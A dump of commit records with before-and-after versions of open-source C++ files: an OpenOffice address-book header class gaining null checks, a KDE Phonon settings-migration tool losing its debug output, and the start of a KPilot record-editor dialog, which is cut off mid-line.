nCurPos = m_pFileStream->Tell();\n break;\n }\n\n\n return sal_True;\n}\n\/\/ -----------------------------------------------------------------------------\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: MacabHeader.cxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: ihi $ $Date: 2007-09-13 17:52:42 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_connectivity.hxx\"\n\n#include \"MacabHeader.hxx\"\n\n#ifndef _CONNECTIVITY_MACAB_RECORD_HXX_\n#include \"MacabRecord.hxx\"\n#endif\n\n#ifndef _CONNECTIVITY_MACAB_UTILITIES_HXX_\n#include \"macabutilities.hxx\"\n#endif\n\n#include <math.h>\n\n#ifndef _COM_SUN_STAR_SDBC_DATATYPE_HPP_\n#include <com\/sun\/star\/sdbc\/DataType.hpp>\n#endif\n\nusing namespace connectivity::macab;\nusing namespace com::sun::star::sdbc;\n\n\/\/ -------------------------------------------------------------------------\nMacabHeader::MacabHeader(const sal_Int32 _size, macabfield **_fields)\n{\n sal_Int32 i;\n size = _size;\n fields = new macabfield *[size];\n for(i = 0; i < size; i++)\n {\n if(_fields[i] == NULL)\n {\n fields[i] = NULL;\n }\n else\n {\n \/* The constructor duplicates the macabfields it gets because they\n * are either deleted later or used for other purposes.\n *\/\n fields[i] = new macabfield;\n fields[i]->type = _fields[i]->type;\n fields[i]->value = _fields[i]->value;\n CFRetain(fields[i]->value);\n }\n }\n\n}\n\n\/\/ -------------------------------------------------------------------------\nMacabHeader::MacabHeader()\n{\n size = 0;\n fields = NULL;\n}\n\n\/\/ -------------------------------------------------------------------------\nMacabHeader::~MacabHeader()\n{\n}\n\n\/\/ -------------------------------------------------------------------------\nvoid MacabHeader::operator+= (const MacabHeader *r)\n{\n \/* Add one MacabHeader to another. Anything not already in the header is\n * added to the end of it.\n *\/\n sal_Int32 rSize = r->getSize();\n if(rSize != 0) \/\/ If the new header does actually have fields\n {\n \/* If our header is currently empty, just copy all of the fields from\n * the new header to this one.\n *\/\n if(size == 0)\n {\n sal_Int32 i;\n size = rSize;\n fields = new macabfield *[size];\n for(i = 0; i < size; i++)\n {\n fields[i] = r->copy(i);\n }\n }\n\n \/* Otherwise, only add the duplicates. We do this with a two-pass\n * approach. First, find out how many fields to add, then reallocate\n * the size of the fields array and add the old ones at the end.\n * (More precisely, we create a _new_ fields array with the new length\n * allocated to it, then get all of the fields from the current\n * fields array to it, then copy the non-duplicates from the new\n * header to the end.)\n *\/\n else\n {\n sal_Int32 i;\n sal_Int32 numToAdd = 0, numAdded = 0;\n macabfield **newFields;\n for( i = 0; i < rSize; i++)\n {\n if(!contains(r->get(i)))\n {\n numToAdd++;\n }\n }\n\n newFields = new macabfield *[size+numToAdd];\n for(i = 0; i < size; i++)\n {\n newFields[i] = copy(i);\n }\n\n for( i = 0; i < rSize; i++)\n {\n if(!contains(r->get(i)))\n {\n newFields[size+numAdded] = r->copy(i);\n numAdded++;\n if(numAdded == numToAdd)\n break;\n }\n }\n\n releaseFields();\n delete [] fields;\n size += numAdded;\n fields = newFields;\n }\n }\n}\n\n\/\/ -------------------------------------------------------------------------\n::rtl::OUString MacabHeader::getString(const sal_Int32 i) const\n{\n ::rtl::OUString nRet;\n\n if(i < size)\n {\n if(fields[i] == NULL)\n return ::rtl::OUString();\n try\n {\n nRet = CFStringToOUString( (CFStringRef) fields[i]->value);\n }\n catch(...){ }\n\n }\n\n return nRet;\n}\n\n\/\/ -------------------------------------------------------------------------\nvoid MacabHeader::sortRecord()\n{\n sortRecord(0,size);\n}\n\n\/\/ -------------------------------------------------------------------------\nmacabfield **MacabHeader::sortRecord(const sal_Int32 _start, const sal_Int32 _length)\n{\n \/* Sort using mergesort. Because it uses mergesort, it is recursive and\n * not in place (so it creates a new array at every step of the\n * recursion), so if you prefer to use a different sort, please feel\n * free to implement it.\n *\/\n macabfield** sorted = new macabfield *[_length];\n if(_length <= 2)\n {\n if(_length == 2)\n {\n if(compareFields(fields[_start], fields[_start+1]) > 0)\n {\n sorted[0] = get(_start+1);\n sorted[1] = get(_start);\n }\n else\n {\n sorted[0] = get(_start);\n sorted[1] = get(_start+1);\n }\n }\n else if(_length == 1)\n {\n sorted[0] = get(_start);\n }\n }\n else\n {\n sal_Int32 halfLength = floor(_length\/2);\n sal_Int32 fp = 0, lp = 0;\n sal_Int32 i;\n macabfield **firstHalf = new macabfield *[halfLength];\n macabfield **lastHalf = new macabfield *[_length - halfLength];\n\n firstHalf = sortRecord(_start, halfLength);\n lastHalf = sortRecord(_start+halfLength, _length-halfLength);\n for(i = 0; i < _length; i++)\n {\n if(compareFields(firstHalf[fp],lastHalf[lp]) < 0)\n {\n sorted[i] = firstHalf[fp++];\n if(fp == halfLength)\n {\n for( i++; i < _length; i++)\n {\n sorted[i] = lastHalf[lp++];\n }\n break;\n }\n }\n else\n {\n sorted[i] = lastHalf[lp++];\n if(lp == _length - halfLength)\n {\n for( i++; i < _length; i++)\n {\n sorted[i] = firstHalf[fp++];\n }\n break;\n }\n }\n }\n if(_length == size)\n {\n fields = sorted;\n }\n }\n return sorted;\n}\n\nsal_Int32 MacabHeader::compareFields(const macabfield *_field1, const macabfield *_field2)\n{\n \/* Comparing two fields in a MacabHeader is different than comparing two\n * fields in a MacabRecord. It starts in the same way (if one of the two\n * fields is NULL, it belongs after the other, so it is considered\n * \"greater\"). But, then, all headers are CFStrings, no matter what\n * type they claim to be (since they actually hold the expected type for\n * the records with that header). That being said, all we have to do is\n * the built-in CFStringCompare.\n *\/\n if(_field1 == _field2)\n return 0;\n if(_field1 == NULL)\n return 1;\n if(_field2 == NULL)\n return -1;\n\n CFComparisonResult result = CFStringCompare(\n (CFStringRef) _field1->value,\n (CFStringRef) _field2->value,\n 0); \/\/ 0 = no options (like ignore case)\n\n return (sal_Int32) result;\n}\n\n\/\/ -------------------------------------------------------------------------\nsal_Int32 MacabHeader::getColumnNumber(const ::rtl::OUString s) const\n{\n sal_Int32 i;\n for(i = 0; i < size; i++)\n {\n if(getString(i) == s)\n break;\n }\n\n if(i == size)\n i = -1;\n\n return i;\n}\n\n\/\/ -------------------------------------------------------------------------\nMacabHeader *MacabHeader::begin()\n{\n return this;\n}\n\n\/\/ -------------------------------------------------------------------------\nMacabHeader::iterator::iterator ()\n{\n}\n\n\/\/ -------------------------------------------------------------------------\nMacabHeader::iterator::~iterator ()\n{\n}\n\nvoid MacabHeader::iterator::operator= (MacabHeader *_record)\n{\n id = 0;\n record = _record;\n}\n\n\/\/ -------------------------------------------------------------------------\nvoid MacabHeader::iterator::operator++ ()\n{\n id++;\n}\n\n\/\/ -------------------------------------------------------------------------\nsal_Bool MacabHeader::iterator::operator!= (const sal_Int32 i) const\n{\n return(id != i);\n}\n\n\/\/ -------------------------------------------------------------------------\nsal_Bool MacabHeader::iterator::operator== (const sal_Int32 i) const\n{\n return(id == i);\n}\n\n\/\/ -------------------------------------------------------------------------\nmacabfield *MacabHeader::iterator::operator* () const\n{\n return record->get(id);\n}\n\n\/\/ -------------------------------------------------------------------------\nsal_Int32 MacabHeader::end() const\n{\n return size;\n}\n\n<commit_msg>INTEGRATION: CWS aquavcl05_DEV300 (1.2.74); FILE MERGED 2008\/01\/29 09:17:56 ericb 1.2.74.2: #i83707# cosmetic 2008\/01\/29 09:09:40 ericb 1.2.74.1: #i83707# fix potential crash. Fixes proposed by P. Luby<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: MacabHeader.cxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: kz $ $Date: 2008-03-05 16:38:31 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_connectivity.hxx\"\n\n#include \"MacabHeader.hxx\"\n\n#ifndef _CONNECTIVITY_MACAB_RECORD_HXX_\n#include \"MacabRecord.hxx\"\n#endif\n\n#ifndef _CONNECTIVITY_MACAB_UTILITIES_HXX_\n#include \"macabutilities.hxx\"\n#endif\n\n#include <math.h>\n\n#ifndef _COM_SUN_STAR_SDBC_DATATYPE_HPP_\n#include <com\/sun\/star\/sdbc\/DataType.hpp>\n#endif\n\n#ifndef _DBHELPER_DBCONVERSION_HXX_\n#include <connectivity\/dbconversion.hxx>\n#endif\n\nusing namespace connectivity::macab;\nusing namespace com::sun::star::sdbc;\nusing namespace com::sun::star::util;\nusing namespace ::dbtools;\n\n\/\/ -------------------------------------------------------------------------\nMacabHeader::MacabHeader(const sal_Int32 _size, macabfield **_fields)\n{\n sal_Int32 i;\n size = _size;\n fields = new macabfield *[size];\n for(i = 0; i < size; i++)\n {\n if(_fields[i] == NULL)\n {\n fields[i] = NULL;\n }\n else\n {\n \/* The constructor duplicates the macabfields it gets because they\n * are either deleted later or used for other purposes.\n *\/\n fields[i] = new macabfield;\n fields[i]->type = _fields[i]->type;\n fields[i]->value = _fields[i]->value;\n if (fields[i]->value)\n CFRetain(fields[i]->value);\n }\n }\n\n}\n\n\/\/ -------------------------------------------------------------------------\nMacabHeader::MacabHeader()\n{\n size = 0;\n fields = NULL;\n}\n\n\/\/ -------------------------------------------------------------------------\nMacabHeader::~MacabHeader()\n{\n}\n\n\/\/ -------------------------------------------------------------------------\nvoid MacabHeader::operator+= (const MacabHeader *r)\n{\n \/* Add one MacabHeader to another. Anything not already in the header is\n * added to the end of it.\n *\/\n sal_Int32 rSize = r->getSize();\n if(rSize != 0) \/\/ If the new header does actually have fields\n {\n \/* If our header is currently empty, just copy all of the fields from\n * the new header to this one.\n *\/\n if(size == 0)\n {\n sal_Int32 i;\n size = rSize;\n fields = new macabfield *[size];\n for(i = 0; i < size; i++)\n {\n fields[i] = r->copy(i);\n }\n }\n\n \/* Otherwise, only add the duplicates. We do this with a two-pass\n * approach. First, find out how many fields to add, then reallocate\n * the size of the fields array and add the old ones at the end.\n * (More precisely, we create a _new_ fields array with the new length\n * allocated to it, then get all of the fields from the current\n * fields array to it, then copy the non-duplicates from the new\n * header to the end.)\n *\/\n else\n {\n sal_Int32 i;\n sal_Int32 numToAdd = 0, numAdded = 0;\n macabfield **newFields;\n for( i = 0; i < rSize; i++)\n {\n if(!contains(r->get(i)))\n {\n numToAdd++;\n }\n }\n\n newFields = new macabfield *[size+numToAdd];\n for(i = 0; i < size; i++)\n {\n newFields[i] = copy(i);\n }\n\n for( i = 0; i < rSize; i++)\n {\n if(!contains(r->get(i)))\n {\n newFields[size+numAdded] = r->copy(i);\n numAdded++;\n if(numAdded == numToAdd)\n break;\n }\n }\n\n releaseFields();\n delete [] fields;\n size += numAdded;\n fields = newFields;\n }\n }\n}\n\n\/\/ -------------------------------------------------------------------------\n::rtl::OUString MacabHeader::getString(const sal_Int32 i) const\n{\n ::rtl::OUString nRet;\n\n if(i < size)\n {\n if(fields[i] == NULL || fields[i]->value == NULL || CFGetTypeID(fields[i]->value) != CFStringGetTypeID())\n return ::rtl::OUString();\n try\n {\n nRet = CFStringToOUString( (CFStringRef) fields[i]->value);\n }\n catch(...){ }\n }\n\n return nRet;\n}\n\n\/\/ -------------------------------------------------------------------------\nvoid MacabHeader::sortRecord()\n{\n sortRecord(0,size);\n}\n\n\/\/ -------------------------------------------------------------------------\nmacabfield **MacabHeader::sortRecord(const sal_Int32 _start, const sal_Int32 _length)\n{\n \/* Sort using mergesort. Because it uses mergesort, it is recursive and\n * not in place (so it creates a new array at every step of the\n * recursion), so if you prefer to use a different sort, please feel\n * free to implement it.\n *\/\n macabfield** sorted = new macabfield *[_length];\n if(_length <= 2)\n {\n if(_length == 2)\n {\n if(compareFields(fields[_start], fields[_start+1]) > 0)\n {\n sorted[0] = get(_start+1);\n sorted[1] = get(_start);\n }\n else\n {\n sorted[0] = get(_start);\n sorted[1] = get(_start+1);\n }\n }\n else if(_length == 1)\n {\n sorted[0] = get(_start);\n }\n }\n else\n {\n sal_Int32 halfLength = floor(_length\/2);\n sal_Int32 fp = 0, lp = 0;\n sal_Int32 i;\n macabfield **firstHalf = new macabfield *[halfLength];\n macabfield **lastHalf = new macabfield *[_length - halfLength];\n\n firstHalf = sortRecord(_start, halfLength);\n lastHalf = sortRecord(_start+halfLength, _length-halfLength);\n for(i = 0; i < _length; i++)\n {\n if(compareFields(firstHalf[fp],lastHalf[lp]) < 0)\n {\n sorted[i] = firstHalf[fp++];\n if(fp == halfLength)\n {\n for( i++; i < _length; i++)\n {\n sorted[i] = lastHalf[lp++];\n }\n break;\n }\n }\n else\n {\n sorted[i] = lastHalf[lp++];\n if(lp == _length - halfLength)\n {\n for( i++; i < _length; i++)\n {\n sorted[i] = firstHalf[fp++];\n }\n break;\n }\n }\n }\n if(_length == size)\n {\n fields = sorted;\n }\n }\n return sorted;\n}\n\nsal_Int32 MacabHeader::compareFields(const macabfield *_field1, const macabfield *_field2)\n{\n \/* Comparing two fields in a MacabHeader is different than comparing two\n * fields in a MacabRecord. It starts in the same way (if one of the two\n * fields is NULL, it belongs after the other, so it is considered\n * \"greater\"). But, then, all headers are CFStrings, no matter what\n * type they claim to be (since they actually hold the expected type for\n * the records with that header). That being said, all we have to do is\n * the built-in CFStringCompare.\n *\/\n if(_field1 == _field2)\n return 0;\n if(_field1 == NULL)\n return 1;\n if(_field2 == NULL)\n return -1;\n\n CFComparisonResult result = CFStringCompare(\n (CFStringRef) _field1->value,\n (CFStringRef) _field2->value,\n 0); \/\/ 0 = no options (like ignore case)\n\n return (sal_Int32) result;\n}\n\n\/\/ -------------------------------------------------------------------------\nsal_Int32 MacabHeader::getColumnNumber(const ::rtl::OUString s) const\n{\n sal_Int32 i;\n for(i = 0; i < size; i++)\n {\n if(getString(i) == s)\n break;\n }\n\n if(i == size)\n i = -1;\n\n return i;\n}\n\n\/\/ -------------------------------------------------------------------------\nMacabHeader *MacabHeader::begin()\n{\n return this;\n}\n\n\/\/ -------------------------------------------------------------------------\nMacabHeader::iterator::iterator ()\n{\n}\n\n\/\/ -------------------------------------------------------------------------\nMacabHeader::iterator::~iterator ()\n{\n}\n\nvoid MacabHeader::iterator::operator= (MacabHeader *_record)\n{\n id = 0;\n record = _record;\n}\n\n\/\/ -------------------------------------------------------------------------\nvoid MacabHeader::iterator::operator++ ()\n{\n id++;\n}\n\n\/\/ -------------------------------------------------------------------------\nsal_Bool MacabHeader::iterator::operator!= (const sal_Int32 i) const\n{\n return(id != i);\n}\n\n\/\/ -------------------------------------------------------------------------\nsal_Bool MacabHeader::iterator::operator== (const sal_Int32 i) const\n{\n return(id == i);\n}\n\n\/\/ -------------------------------------------------------------------------\nmacabfield *MacabHeader::iterator::operator* () const\n{\n return record->get(id);\n}\n\n\/\/ -------------------------------------------------------------------------\nsal_Int32 MacabHeader::end() const\n{\n return size;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of the KDE project\n Copyright (C) 2008 Matthias Kretz <kretz@kde.org>\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Library General Public\n License as published by the Free Software Foundation; either\n version 2 of the License, or (at your option) version 3.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Library General Public License for more details.\n\n You should have received a copy of the GNU Library General Public License\n along with this library; see the file COPYING.LIB. If not, write to\n the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n Boston, MA 02110-1301, USA.\n\n*\/\n\n#include <QtCore\/QCoreApplication>\n#include <QtCore\/QtDebug>\n#include <QtCore\/QMutableListIterator>\n#include <QtCore\/QList>\n#include \"..\/qsettingsgroup_p.h\"\n#include <kcomponentdata.h>\n#include <kconfig.h>\n#include <kconfiggroup.h>\n\nusing Phonon::QSettingsGroup;\n\nQ_DECLARE_METATYPE(QList<int>)\n\nint main(int argc, char **argv)\n{\n QCoreApplication app(argc, argv);\n KComponentData cData(\"phonon device preference update\");\n\n KConfig kconfig(\"phonondevicesrc\", KConfig::NoGlobals);\n KConfigGroup globalGroup(&kconfig, \"Globals\");\n int newIndexForZero = 0;\n\n foreach (const QString &group, kconfig.groupList()) {\n KConfigGroup configGroup(&kconfig, group);\n int index = configGroup.readEntry(\"index\", -1);\n if (index == 0) {\n newIndexForZero = globalGroup.readEntry(\"nextIndex\", 0);\n configGroup.writeEntry(\"index\", newIndexForZero);\n globalGroup.writeEntry(\"nextIndex\", newIndexForZero + 1);\n break;\n }\n }\n\n qDebug() << newIndexForZero;\n qRegisterMetaTypeStreamOperators<QList<int> >(\"QList<int>\");\n\n QSettings qconfig(QLatin1String(\"kde.org\"), QLatin1String(\"libphonon\"));\n QSettingsGroup outputGroup(&qconfig, QLatin1String(\"AudioOutputDevice\"));\n for (int i = -1; i < 10; ++i) {\n const QString oldKey = QLatin1String(\"Category\") + QString::number(i);\n const QString newKey = QLatin1String(\"Category_\") + QString::number(i);\n qDebug() << oldKey << newKey;\n if (outputGroup.hasKey(oldKey) && !outputGroup.hasKey(newKey)) {\n QList<int> deviceIndexes = outputGroup.value(oldKey, QList<int>());\n QMutableListIterator<int> index(deviceIndexes);\n while (index.hasNext()) {\n index.next();\n if (index.value() < 10000 && index.value() >= 0) {\n qDebug() << \"changing index\" << index.value();\n if (index.value() == 0) {\n Q_ASSERT(newIndexForZero);\n index.setValue(-newIndexForZero);\n } else {\n index.setValue(-index.value());\n }\n }\n }\n outputGroup.setValue(newKey, deviceIndexes);\n outputGroup.removeEntry(oldKey);\n }\n }\n\n return 0;\n}\n<commit_msg>remove debug output<commit_after>\/* This file is part of the KDE project\n Copyright (C) 2008 Matthias Kretz <kretz@kde.org>\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Library General Public\n License as published by the Free Software Foundation; either\n version 2 of the License, or (at your option) version 3.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Library General Public License for more details.\n\n You should have received a copy of the GNU Library General Public License\n along with this library; see the file COPYING.LIB. If not, write to\n the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n Boston, MA 02110-1301, USA.\n\n*\/\n\n#include <QtCore\/QCoreApplication>\n#include <QtCore\/QMutableListIterator>\n#include <QtCore\/QList>\n#include \"..\/qsettingsgroup_p.h\"\n#include <kcomponentdata.h>\n#include <kconfig.h>\n#include <kconfiggroup.h>\n\nusing Phonon::QSettingsGroup;\n\nQ_DECLARE_METATYPE(QList<int>)\n\nint main(int argc, char **argv)\n{\n QCoreApplication app(argc, argv);\n KComponentData cData(\"phonon device preference update\");\n\n KConfig kconfig(\"phonondevicesrc\", KConfig::NoGlobals);\n KConfigGroup globalGroup(&kconfig, \"Globals\");\n int newIndexForZero = 0;\n\n foreach (const QString &group, kconfig.groupList()) {\n KConfigGroup configGroup(&kconfig, group);\n int index = configGroup.readEntry(\"index\", -1);\n if (index == 0) {\n newIndexForZero = globalGroup.readEntry(\"nextIndex\", 0);\n configGroup.writeEntry(\"index\", newIndexForZero);\n globalGroup.writeEntry(\"nextIndex\", newIndexForZero + 1);\n break;\n }\n }\n\n qRegisterMetaTypeStreamOperators<QList<int> >(\"QList<int>\");\n\n QSettings qconfig(QLatin1String(\"kde.org\"), QLatin1String(\"libphonon\"));\n QSettingsGroup outputGroup(&qconfig, QLatin1String(\"AudioOutputDevice\"));\n for (int i = -1; i < 10; ++i) {\n const QString oldKey = QLatin1String(\"Category\") + QString::number(i);\n const QString newKey = QLatin1String(\"Category_\") + QString::number(i);\n if (outputGroup.hasKey(oldKey) && !outputGroup.hasKey(newKey)) {\n QList<int> deviceIndexes = outputGroup.value(oldKey, QList<int>());\n QMutableListIterator<int> index(deviceIndexes);\n while (index.hasNext()) {\n index.next();\n if (index.value() < 10000 && index.value() >= 0) {\n if (index.value() == 0) {\n Q_ASSERT(newIndexForZero);\n index.setValue(-newIndexForZero);\n } else {\n index.setValue(-index.value());\n }\n }\n }\n outputGroup.setValue(newKey, deviceIndexes);\n outputGroup.removeEntry(oldKey);\n }\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* dbRecordEditor.cc KPilot\n**\n** Copyright (C) 2003 by Dan Pilone\n** Written 2003 by Reinhold Kainhofer\n**\n**\/\n\n\/*\n** This program is free software; you can redistribute it and\/or modify\n** it under the terms of the GNU General Public License as published by\n** the Free Software Foundation; either version 2 of the License, or\n** (at your option) any later version.\n**\n** This program is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n** GNU General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with this program in a file called COPYING; if not, write to\n** the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n** MA 02111-1307, USA.\n*\/\n\n\/*\n** Bug reports and questions can be sent to kde-pim@kde.org\n*\/\n\n#include \"options.h\"\n\n#include <qlineedit.h>\n#include <qcheckbox.h>\n#include <qtooltip.h>\n#include <qwhatsthis.h>\n#include <qbuttongroup.h>\n#include <qcheckbox.h>\n#include <qlabel.h>\n#include <qlineedit.h>\n#include <qpushbutton.h>\n#include <qlayout.h>\n\n#include <kmessagebox.h>\n\n#include \"pilotRecord.h\"\n#include \"dbRecordEditor.h\"\n\/\/#include \"dbRecordEditor_base.h\"\n\n#ifdef USE_KHEXEDIT\n#include <khexedit\/byteseditinterface.h>\n#include <khexedit\/hexcolumninterface.h>\n#include <khexedit\/textcolumninterface.h>\nusing namespace KHE;\n#endif\n\n\n\nDBRecordEditor::DBRecordEditor(PilotRecord*r, int n, QWidget *parent)\n\t: KDialogBase(parent, \"RecordEditor\",false,i18n(\"Edit Record...\"),\n\t\t\t\tOk|Cancel), rec(r), nr(n)\n{\n\/\/\tfWidget=new DBRecordEditorBase(this);\n\tfWidget=new QWidget(this);\n\tsetMainWidget(fWidget);\n\n\tinitWidgets();\n\tfillWidgets();\n}\n\n \nDBRecordEditor::~DBRecordEditor()\n{\n}\n\n\nvoid DBRecordEditor::slotOk()\n{\n\tFUNCTIONSETUP;\n\tif (KMessageBox::questionYesNo(this, i18n(\"Changing the record data and flags might corrupt the whole record, or even make the database unusable. Do not change the values unless you are absolutely sure you know what you are doing.\\n\\nReally assign these new flags?\"), i18n(\"Changing record\"))==KMessageBox::Yes)\n\t{\n\t\tint att=rec->getAttrib();\n#define setFlag(ctrl, flag) if (ctrl->isChecked()) att|=flag; else att &= ~flag;\n\t\tsetFlag(fDirty, dlpRecAttrDirty);\n\t\tsetFlag(fDeleted, dlpRecAttrDeleted);\n\t\tsetFlag(fBusy, dlpRecAttrBusy);\n\t\tsetFlag(fSecret, dlpRecAttrSecret);\n\t\tsetFlag(fArchived, dlpRecAttrArchived);\n\t\trec->setAttrib(att);\n#undef setFlag\n\n#ifdef USE_KHEXEDIT\n\t\tif ( fRecordDataIf->isModified() )\n\t\t{\n#ifdef DEBUG\n\t\t\tDEBUGKPILOT << \"record data changed, new Length of record: \" << \n\t\t\t\tfRecordDataIf->dataSize() << endl;\n#endif\n\t\t\t\/\/ take over data\n\t\t\tfRecordDataIf->setAutoDelete( false );\n\t\t\trec->setData( fRecordDataIf->data(), fRecordDataIf->dataSize() );\n\t\t}\n#endif\n\n\t\tKDialogBase::slotOk();\n\t}\n}\n\nvoid DBRecordEditor::slotCancel()\n{\n\tKDialogBase::slotCancel();\n}\n\nvoid DBRecordEditor::languageChange()\n{\n\tsetCaption( tr2i18n( \"Form1\" ) );\n\tfRecordIndexLabel->setText( tr2i18n( \"Record index:\" ) );\n\tfRecordIDLabel->setText( tr2i18n( \"Record ID:\" ) );\n\tfRecordIndex->setText( tr2i18n( \"1\" ) );\n\tfRecordID->setText( tr2i18n( \"1\" ) );\n\tfFlagsGroup->setTitle( tr2i18n( \"Flags\" ) );\n\tfDirty->setText( tr2i18n( \"&Dirty\" ) );\n\tfDeleted->setText( tr2i18n( \"De&leted\" ) );\n\tfBusy->setText( tr2i18n( \"&Busy\" ) );\n\tfSecret->setText( tr2i18n( \"&Secret\" ) );\n\tfArchived->setText( tr2i18n( \"&Archived\" ) );\n}\n\nvoid DBRecordEditor::initWidgets()\n{\n\t\/\/ FUNCTIONSETUP\n\n\tDBRecordEditorBaseLayout = new QGridLayout( fWidget, 1, 1, 11, 6, \"DBRecordEditorBaseLayout\");\n\n\tfRecordIndexLabel = new QLabel( fWidget, \"fRecordIndexLabel\" );\n\tDBRecordEditorBaseLayout->addWidget( fRecordIndexLabel, 0, 0 );\n\n\tfRecordIDLabel = new QLabel( fWidget, \"fRecordIDLabel\" );\n\tDBRecordEditorBaseLayout->addWidget( fRecordIDLabel, 0, 2 );\n\n\tfRecordIndex = new QLineEdit( fWidget, \"fRecordIndex\" );\n\tfRecordIndex->setReadOnly( TRUE );\n\n\tDBRecordEditorBaseLayout->addWidget( fRecordIndex, 0, 1 );\n\n\tfRecordID = new QLineEdit( fWidget, \"fRecordID\" );\n\tfRecordID->setReadOnly( TRUE );\n\n\tDBRecordEditorBaseLayout->addWidget( fRecordID, 0, 3 );\n\n\tfFlagsGroup = new QButtonGroup( fWidget, \"fFlagsGroup\" );\n\tfFlagsGroup->setSizePolicy( QSizePolicy( (QSizePolicy::SizeType)5,\n\t\t(QSizePolicy::SizeType)4, 0, 0, fFlagsGroup->sizePolicy().hasHeightForWidth() ) );\n\tfFlagsGroup->setColumnLayout(0, Qt::Vertical );\n\tfFlagsGroup->layout()->setSpacing( 6 );\n\tfFlagsGroup->layout()->setMargin( 11 );\n\tfFlagsGroupLayout = new QGridLayout( fFlagsGroup->layout() );\n\tfFlagsGroupLayout->setAlignment( Qt::AlignTop );\n\n\tfDirty = new QCheckBox( fFlagsGroup, \"fDirty\" );\n\tfFlagsGroupLayout->addWidget( fDirty, 0, 0 );\n\n\tfDeleted = new QCheckBox( fFlagsGroup, \"fDeleted\" );\n\tfFlagsGroupLayout->addWidget( fDeleted, 1, 0 );\n\n\tfBusy = new QCheckBox( fFlagsGroup, \"fBusy\" );\n\tfFlagsGroupLayout->addWidget( fBusy, 0, 1 );\n\n\tfSecret = new QCheckBox( fFlagsGroup, \"fSecret\" );\n\tfFlagsGroupLayout->addMultiCellWidget( fSecret, 1, 1, 1, 2 );\n\n\tfArchived = new QCheckBox( fFlagsGroup, \"fArchived\" );\n\tfFlagsGroupLayout->addWidget( fArchived, 0, 2 );\n\n\tDBRecordEditorBaseLayout->addMultiCellWidget( fFlagsGroup, 1, 1, 0, 3 );\n\n#ifdef USE_KHEXEDIT\n\tfRecordData = KHE::createBytesEditWidget( fWidget, \"fRecordData\" );\n\tif( fRecordData )\n\t{\n\t\t\/\/ fetch the editor interface\n\t\tfRecordDataIf = KHE::bytesEditInterface( fRecordData );\n\t\tQ_ASSERT( fRecordDataIf ); \/\/ This should not fail!\n\n\t\tKHE::HexColumnInterface *HexColumn = hexColumnInterface( fRecordData );\n\t\tif( HexColumn )\n\t\t{\n\t\t\tHexColumn->setNoOfBytesPerLine( 16 );\n\t\t\tHexColumn->setResizeStyle( KHE::HexColumnInterface::LockGrouping );\n\/\/\t\t\tHexColumn->setCoding( HexColumnInterface::HexadecimalCoding );\n\/\/\t\t\tHexColumn->setByteSpacingWidth( 2 );\n\t\t\tHexColumn->setNoOfGroupedBytes( 4 );\n\t\t\tHexColumn->setGroupSpacingWidth( 8 );\n\t\t}\n\n\t\tKHE::TextColumnInterface *TextColumn = textColumnInterface( fRecordData );\n\t\tif( TextColumn )\n\t\t{\n\t\t\tTextColumn->setShowUnprintable( false );\n\/\/\t\t\tTextColumn->setSubstituteChar( '*' );\n\t\t}\n\t}\n\telse\n\t{\n\t\tQLabel*tmpW = new QLabel( i18n(\"To view and edit the record data, please install a hex editor (e.g. kbytesedit from kdeutils).\"), fWidget );\n\t\ttmpW->setBackgroundMode( Qt::PaletteMid );\n\t\ttmpW->setAlignment( Qt::AlignHCenter | Qt::AlignVCenter | 